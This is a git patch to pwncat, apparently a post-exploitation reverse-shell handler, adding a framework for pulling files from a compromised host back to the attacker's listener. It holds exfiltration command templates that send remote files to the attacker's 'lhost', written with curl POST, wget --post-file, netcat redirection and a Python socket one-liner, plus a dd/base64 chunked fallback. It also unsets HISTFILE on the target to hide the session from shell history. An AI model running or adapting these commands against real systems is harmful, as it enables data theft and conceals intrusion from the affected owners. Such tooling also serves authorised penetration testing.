From 5801895cba705aafdee6fab595a036cbc3e8cf52 Mon Sep 17 00:00:00 2001 From: Caleb Stewart Date: Thu, 7 May 2020 14:51:18 -0400 Subject: [PATCH] Initial framework for downloaders present --- pwncat/__main__.py | 2 +- pwncat/downloader/__init__.py | 31 +++++++ pwncat/downloader/base.py | 150 ++++++++++++++++++++++++++++++++++ pwncat/downloader/curl.py | 20 +++++ pwncat/downloader/nc.py | 20 +++++ pwncat/downloader/shell.py | 46 +++++++++++ pwncat/pty.py | 99 ++++++++++++++-------- pwncat/util.py | 10 ++- 8 files changed, 339 insertions(+), 39 deletions(-) create mode 100644 pwncat/downloader/__init__.py create mode 100644 pwncat/downloader/base.py create mode 100644 pwncat/downloader/curl.py create mode 100644 pwncat/downloader/nc.py create mode 100644 pwncat/downloader/shell.py diff --git a/pwncat/__main__.py b/pwncat/__main__.py index 87985d8..0c4c350 100644 --- a/pwncat/__main__.py +++ b/pwncat/__main__.py @@ -99,7 +99,7 @@ def main(): except ConnectionResetError: handler.restore() util.warn("connection reset by remote host") - else: + finally: # Restore the shell handler.restore() diff --git a/pwncat/downloader/__init__.py b/pwncat/downloader/__init__.py new file mode 100644 index 0000000..289bca0 --- /dev/null +++ b/pwncat/downloader/__init__.py @@ -0,0 +1,31 @@ +#!/usr/bin/env python3 + +from pwncat.downloader.base import Downloader, DownloadError +from pwncat.downloader.nc import NetcatDownloader +from pwncat.downloader.curl import CurlDownloader +from pwncat.downloader.shell import ShellDownloader + +all_downloaders = [NetcatDownloader, CurlDownloader, ShellDownloader] +downloaders = [NetcatDownloader, CurlDownloader] +fallback = ShellDownloader + + +def find(pty: "pwncat.pty.PtyHandler", hint: str = None) -> Downloader: + """ Locate an applicable downloader """ + + if hint is not None: + """ Try to return the requested downloader """ + for d in all_downloaders: + if d.NAME != hint: + continue + d.check(pty) + return d + + for d in downloaders: + try: + d.check(pty) + return d + except DownloadError: + continue + + raise DownloadError("no acceptable downloaders found") diff --git a/pwncat/downloader/base.py b/pwncat/downloader/base.py new file mode 100644 index 0000000..4ed93bf --- /dev/null +++ b/pwncat/downloader/base.py @@ -0,0 +1,150 @@ +#!/usr/bin/env python3 +from typing import Generator, Callable +from http.server import BaseHTTPRequestHandler, HTTPServer +from socketserver import TCPServer, BaseRequestHandler +from functools import partial +import threading + +from pwncat import util + + +class DownloadError(Exception): + """ An error occurred while attempting to run a downloader """ + + +class Downloader: + + # Binaries which are needed on the remote host for this downloader + BINARIES = [] + + @classmethod + def check(cls, pty: "pwncat.pty.PtyHandler") -> bool: + """ Check if the given PTY connection can support this downloader """ + for binary in cls.BINARIES: + if pty.which(binary) is None: + raise DownloadError(f"required remote binary not found: {binary}") + + def __init__(self, pty: "pwncat.pty.PtyHandler", remote_path: str, local_path: str): + self.pty = pty + self.local_path = local_path + self.remote_path = remote_path + + def command(self) -> Generator[str, None, None]: + """ Generate the commands needed to send this file back. This is a + generator, which yields strings which will be executed on the remote + host. """ + return + + def serve(self, on_progress: Callable): + """ Start any servers on the local end which are needed to download the + content. """ + return + + def shutdown(self): + """ Shutdown any attacker servers that were started """ + return + + +class HttpPostFileReceiver(BaseHTTPRequestHandler): + def __init__(self, request, addr, server, downloader: "HTTPDownloader"): + self.downloader = downloader + super(HttpPostFileReceiver, self).__init__(request, addr, server) + + def do_POST(self): + """ handle http POST request """ + + if self.path != "/": + self.send_error(404) + return + + self.send_response(200) + self.end_headers() + + with open(self.downloader.local_path, "wb") as filp: + util.copyfileobj(self.rfile, filp, self.downloader.progress) + + def log_message(self, *args, **kwargs): + return + + +class HTTPDownloader(Downloader): + """ Base class for HTTP POST based downloaders. This takes care of setting + up the local HTTP server and saving the file. Just provide the commands + for the remote host to trigger the upload """ + + @classmethod + def check(cls, pty: "pwncat.pty.PtyHandler") -> bool: + """ Make sure we have an lhost """ + if pty.vars.get("lhost", None) is None: + raise DownloadError("no lhost provided") + + def __init__( + self, + pty: "pwncat.pty.PtyHandler", + remote_path: str, + local_path: str, + on_progress: Callable = None, + ): + super(HTTPDownloader, self).__init__(pty, remote_path, local_path) + self.server = None + self.on_progress = on_progress + + def serve(self, on_progress: Callable): + self.server = HTTPServer( + ("0.0.0.0", 0), partial(HttpPostFileReceiver, downloader=self) + ) + + thread = threading.Thread( + target=lambda: self.server.serve_forever(), daemon=True + ) + thread.start() + + def shutdown(self): + self.server.shutdown() + + +class RawDownloader(Downloader): + """ Base class for raw socket based downloaders. This takes care of setting + up the socket server and saving the file. Just provide the commands to + initiate the raw socket transfer on the remote host to trigger the + upload """ + + @classmethod + def check(cls, pty: "pwncat.pty.PtyHandler") -> bool: + """ Make sure we have an lhost """ + if pty.vars.get("lhost", None) is None: + raise DownloadError("no lhost provided") + + def __init__( + self, + pty: "pwncat.pty.PtyHandler", + remote_path: str, + local_path: str, + on_progress: Callable = None, + ): + super(RawDownloader, self).__init__(pty, remote_path, local_path) + self.server = None + self.on_progress = on_progress + + def serve(self, on_progress: Callable): + + # Make sure it is accessible to the subclass + local_path = self.local_path + + # Class to handle incoming connections + class ReceiveFile(BaseRequestHandler): + def handle(self): + self.request.settimeout(1) + with open(local_path, "wb") as fp: + util.copyfileobj(self.request.makefile("rb"), fp, on_progress) + + self.server = TCPServer(("0.0.0.0", 0), ReceiveFile) + + thread = threading.Thread( + target=lambda: self.server.serve_forever(), daemon=True + ) + thread.start() + + def shutdown(self): + """ Shutdown the server """ + self.server.shutdown() diff --git a/pwncat/downloader/curl.py b/pwncat/downloader/curl.py new file mode 100644 index 0000000..f0e9fe2 --- /dev/null +++ b/pwncat/downloader/curl.py @@ -0,0 +1,20 @@ +#!/usr/bin/env python3 +from typing import Generator +import shlex + +from pwncat.downloader.base import HTTPDownloader, DownloadError + + +class CurlDownloader(HTTPDownloader): + + BINARIES = ["curl"] + + def command(self) -> Generator[str, None, None]: + """ Generate the curl command to post the file """ + + lhost = self.pty.vars["lhost"] + lport = self.server.server_address[2] + curl = self.pty.which("curl") + remote_path = shlex.quote(self.remote_path) + + yield f"{curl} --output {remote_path} http://{lhost}:{lport}" diff --git a/pwncat/downloader/nc.py b/pwncat/downloader/nc.py new file mode 100644 index 0000000..e232db3 --- /dev/null +++ b/pwncat/downloader/nc.py @@ -0,0 +1,20 @@ +#!/usr/bin/env python3 +from typing import Generator +import shlex + +from pwncat.downloader.base import RawDownloader, DownloadError + + +class NetcatDownloader(RawDownloader): + + BINARIES = ["nc"] + + def command(self) -> Generator[str, None, None]: + """ Return the commands needed to trigger this download """ + + lhost = self.pty.vars["lhost"] + lport = self.server.server_address[2] + nc = self.pty.which("nc") + remote_file = shlex.quote(self.remote_path) + + yield f"{nc} {lhost} {lport} < {remote_file}" diff --git a/pwncat/downloader/shell.py b/pwncat/downloader/shell.py new file mode 100644 index 0000000..39f0648 --- /dev/null +++ b/pwncat/downloader/shell.py @@ -0,0 +1,46 @@ +#!/usr/bin/env python3 +from typing import Generator, Callable +import base64 +import shlex + +from pwncat.downloader.base import Downloader, DownloadError + + +class ShellDownloader(Downloader): + + NAME = "shell" + BINARIES = ["dd", "base64"] + BLOCKSZ = 8192 + + def command(self) -> Generator[str, None, None]: + """ Yield list of commands to transfer the file """ + + remote_path = shlex.quote(self.remote_path) + + with open(self.local_path, "wb") as filp: + blocknr = 0 + copied = 0 + while True: + + # Read the data + x = yield "dd if={} bs={} skip={} count=1 2>/dev/null | base64 -w0".format( + remote_path, self.BLOCKSZ, blocknr + ) + if x == b"" or x == b"\r\n": + break + + # Decode the data + data = base64.b64decode(x) + + # Send the data and call the progress function + filp.write(data) + copied += data + self.on_progress(copied, len(data)) + + # Increment block number + blocknr += 1 + + def serve(self, on_progress: Callable): + """ We don't need to start a server, but we do need to save the + callback """ + self.on_progress = on_progress diff --git a/pwncat/pty.py b/pwncat/pty.py index 5e2147a..2e58885 100644 --- a/pwncat/pty.py +++ b/pwncat/pty.py @@ -1,6 +1,7 @@ #!/usr/bin/env python3 -from prompt_toolkit import prompt +from prompt_toolkit import prompt, PromptSession from prompt_toolkit.shortcuts import ProgressBar +import subprocess import logging import argparse import base64 @@ -60,13 +61,20 @@ class PtyHandler: self.lhost = None self.known_binaries = {} self.vars = {"lhost": None} + self.prompt = PromptSession("localhost$ ") + + # We should always get a response within 3 seconds... + self.client.settimeout(3) # Ensure history is disabled util.info("disabling remote command history", overlay=True) client.sendall(b"unset HISTFILE\n") + self.recvuntil(b"\n") util.info("setting terminal prompt", overlay=True) client.sendall(b'export PS1="(remote) \\u@\\h\\$ "\n\n') + self.recvuntil(b"\n") + self.recvuntil(b"\n") # Locate interesting binaries for name, friendly, priority in PtyHandler.INTERESTING_BINARIES: @@ -99,6 +107,9 @@ class PtyHandler: util.info(f"opening pseudoterminal via {method}", overlay=True) client.sendall(method_cmd.encode("utf-8") + b"\n") + # Make sure HISTFILE is unset in this PTY + self.run("unset HISTFILE") + # Synchronize the terminals util.info("synchronizing terminal state", overlay=True) self.do_sync([]) @@ -159,27 +170,35 @@ class PtyHandler: # Process commands while self.state is State.COMMAND: try: - line = prompt("localhost$ ") - except EOFError: - # The user pressed ctrl-d, go back - self.enter_raw() + try: + line = self.prompt.prompt() + except (EOFError, OSError): + # The user pressed ctrl-d, go back + self.enter_raw() + continue + + if len(line) > 0 and line[0] == "!": + # Allow running shell commands + subprocess.run(line[1:], shell=True) + continue + + argv = shlex.split(line) + + # Empty command + if len(argv) == 0: + continue + + try: + method = getattr(self, f"do_{argv[0]}") + except AttributeError: + util.warn(f"{argv[0]}: command does not exist") + continue + + # Call the method + method(argv[1:]) + except KeyboardInterrupt: continue - argv = shlex.split(line) - - # Empty command - if len(argv) == 0: - continue - - try: - method = getattr(self, f"do_{argv[0]}") - except AttributeError: - util.warn(f"{argv[0]}: command does not exist") - continue - - # Call the method - method(argv[1:]) - def do_back(self, _): """ Exit command mode """ self.enter_raw(save=False) @@ -187,25 +206,29 @@ class PtyHandler: def do_download(self, argv): uploaders = { - "XXXXX": ( + "curl": ( "http", - "curl -X POST --data @{remote_file} http://{lhost}:{lport}/{lfile}", + "{cmd} -X POST --data @{remote_file} http://{lhost}:{lport}/{lfile}", ), "XXXX": ( "http", - "wget --post-file {remote_file} http://{lhost}:{lport}/{lfile}", + "{cmd} --post-file {remote_file} http://{lhost}:{lport}/{lfile}", + ), + "nc": ("raw", "nc {lhost} {lport} < {remote_file}"), + "python": ( + "raw", + """{cmd} -c 'from socket import AF_INET, socket, SOCK_STREAM; import shutil; s=socket(AF_INET, SOCK_STREAM); s.connect(("{lhost}", {lport})); fp = open("{remote_file}", "rb"); shutil.copyfileobj(fp, s.makefile("wb", buffering=0))'""", ), - "nxc": ("raw", "nc {lhost} {lport} < {remote_file}"), } servers = {"http": util.receive_http_file, "raw": util.receive_raw_file} - parser = argparse.ArgumentParser(prog="upload") + parser = argparse.ArgumentParser(prog="download") parser.add_argument( "--method", "-m", choices=uploaders.keys(), default=None, - help="set the upload method (default: auto)", + help="set the download method (default: auto)", ) parser.add_argument( "--output", @@ -235,10 +258,11 @@ class PtyHandler: if m in self.known_binaries: util.info(f"downloading via {m}") method = info + args.method = m break else: util.warn( - "no available upload methods. falling back to dd/base64 method" + "no available download methods. falling back to dd/base64 method" ) path = args.path @@ -271,20 +295,23 @@ class PtyHandler: server = servers[method[0]](outfile, name, progress=on_progress) command = method[1].format( + cmd=self.known_binaries[args.method][0], remote_file=shlex.quote(path), lhost=self.vars["lhost"], lfile=name, lport=server.server_address[1], ) - print(command) result = self.run(command, wait=False) else: server = None + path = shlex.quote(path) with open(outfile, "wb") as fp: copied = 0 - for chunk_nr in range(0, size, 8192): + blocksz = 1024 * 10 + for chunk_nr in range(0, size // blocksz): + # Send the command encoded = self.run( - f"dd if={shlex.quote(path)} bs=8192 count=1 skip={chunk_nr} 2>/dev/null | base64" + f"dd if={path} bs={blocksz} count=1 skip={chunk_nr} 2>/dev/null | base64 -w0", ) chunk = base64.b64decode(encoded) fp.write(chunk) @@ -466,15 +493,17 @@ class PtyHandler: # This works by waiting for our known prompt self.recvuntil(b"(remote) ") try: + # Read to the end of the prompt self.recvuntil(b"$ ", socket.MSG_DONTWAIT) - self.recvuntil(b"# ", socket.MSG_DONTWAIT) except BlockingIOError: - pass + # The prompt may be "#" + try: + self.recvuntil(b"# ", socket.MSG_DONTWAIT) + except BlockingIOError: + pass - # Surround the output with known delimeters - # self.client.send(b"echo _OUTPUT_DELIM_START_\r") + # Send the command to the remote host self.client.send(cmd.encode("utf-8") + EOL) - # self.client.send(b"echo -e '" + DELIM_ESCAPED + b"'\r") # Initialize response buffer response = b"" diff --git a/pwncat/util.py b/pwncat/util.py index 2673eb7..8b06288 100644 --- a/pwncat/util.py +++ b/pwncat/util.py @@ -127,10 +127,14 @@ def enter_raw_mode(): sys.stdout.flush() # Python doesn't provide a way to use setvbuf, so we reopen stdout - # and specify no buffering - old_stdout = sys.stdout + # and specify no buffering. Duplicating stdin allows the user to press C-d + # at the local prompt, and still be able to return to the remote prompt. + try: + os.dup2(sys.stdin.fileno(), sys.stdout.fileno()) + except OSError: + pass sys.stdout = TextIOWrapper( - os.fdopen(sys.stdout.fileno(), "ba+", buffering=0), + os.fdopen(os.dup(sys.stdin.fileno()), "bw", buffering=0), write_through=True, line_buffering=False, )